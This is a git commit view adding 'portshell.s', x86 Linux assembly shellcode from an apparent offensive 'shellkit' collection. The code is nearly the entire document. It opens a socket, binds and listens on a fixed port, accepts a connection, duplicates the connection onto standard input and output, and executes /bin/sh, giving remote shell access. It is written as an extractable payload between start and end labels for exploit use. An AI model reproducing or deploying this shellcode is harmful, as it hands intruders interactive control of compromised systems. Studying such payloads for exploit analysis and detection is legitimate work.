summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_linux/portshell.s
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/x86_linux/portshell.s
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/shellkit/x86_linux/portshell.s')
-rw-r--r--other/shellkit/x86_linux/portshell.s73
1 files changed, 73 insertions, 0 deletions
diff --git a/other/shellkit/x86_linux/portshell.s b/other/shellkit/x86_linux/portshell.s
new file mode 100644
index 0000000..31aa68c
--- /dev/null
+++ b/other/shellkit/x86_linux/portshell.s
@@ -0,0 +1,73 @@
1 .globl cbegin
2 .globl cend
3
4cbegin:
5
6/* socket */
7 xorl %eax, %eax
8 cdq
9 push %eax
10 incb %al
11 movl %eax, %ebx
12 push %eax
13 incb %al
14 push %eax
15 movl %esp, %ecx
16 movb $0x66, %al
17 int $0x80
18
19/* bind */
20 push %edx
21 pushw $0x7350
22 pushw %dx
23 movl %esp, %edx
24
25 push $0x10
26 push %edx
27 push %eax
28 movl %esp, %ecx
29
30 incb %bl
31 movl %eax, %edx
32 movb $0x66, %al
33 int $0x80
34
35/* listen */
36 addb $0x02, %bl
37 movb $0x66, %al
38 int $0x80
39
40/* accept */
41 push %eax
42 push %edx
43 movl %esp, %ecx
44
45 incb %bl
46 movb $0x66, %al
47 int $0x80
48
49/* dup2 fd 0 + fd 1 */
50 movl %eax, %ebx
51 xorl %ecx, %ecx
52
53 movb $0x3f, %al
54 int $0x80
55
56 incb %cl
57 movb $0x3f, %al
58 int $0x80
59
60/* execve shell (by lorian, see execve.s) - slightly modified */
61 movb $0x0b, %al
62 cdq
63 pushl %edx
64 push $0x68732F6E
65 push $0x69622F2F
66 movl %esp, %ebx
67 pushl %edx
68 pushl %ebx
69 movl %esp, %ecx
70 int $0x80
71
72cend:
73